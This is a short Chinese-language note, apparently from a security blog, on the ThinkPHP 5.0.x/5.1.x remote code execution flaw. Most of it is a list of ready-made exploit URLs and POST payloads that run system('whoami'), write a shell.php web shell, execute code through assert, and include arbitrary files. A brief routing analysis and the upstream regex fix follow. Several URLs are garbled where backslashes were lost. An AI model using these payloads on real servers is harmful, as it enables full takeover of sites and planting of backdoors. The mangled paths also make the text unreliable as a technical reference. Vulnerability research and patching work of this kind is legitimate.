5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think
equest/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/ hink emplatedriverfile/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
文件包含:
http://ip/index.php?s=captcha&m=1
post提交:
_method=__construct&filter[]=think__include_file&get[]=/home/www/thinkphp/public/payload.txt&method=get&server[]=
5.0.x php版本>=5.4
http://ip/index.php?s=index/ hinkapp/invokefunction&function=phpinfo&vars[0]=100
http://ip/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://ip/index.php?s=/index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容需要url编码
thinkphp默认没有开启强制路由,而且默认开启路由兼容模式。
那么我们可以用兼容模式来调用控制器,当没有对控制器过滤时,我们可以调用任意的方法来执行!
还是拿 thinkphp5.0.5 来进行分析
payload:index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
命令执行成功!
漏洞分析:
断点跟进,先来到routeCheck方法中获得了路由
然后在里面对路由进行一系列的获取走出routeCheck之后的$dispatch的内容为:
最后进入module方法中进行调用
最后通过反射类进行传参来进行命令的执行
修复:
大于5.0.23、大于5.1.30获取时使用正则匹配校验
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
参考文章:https://www.cnblogs.com/r00tuser/p/10103329.html
参考文章:https://y4er.com/post/thinkphp5-rce/#5024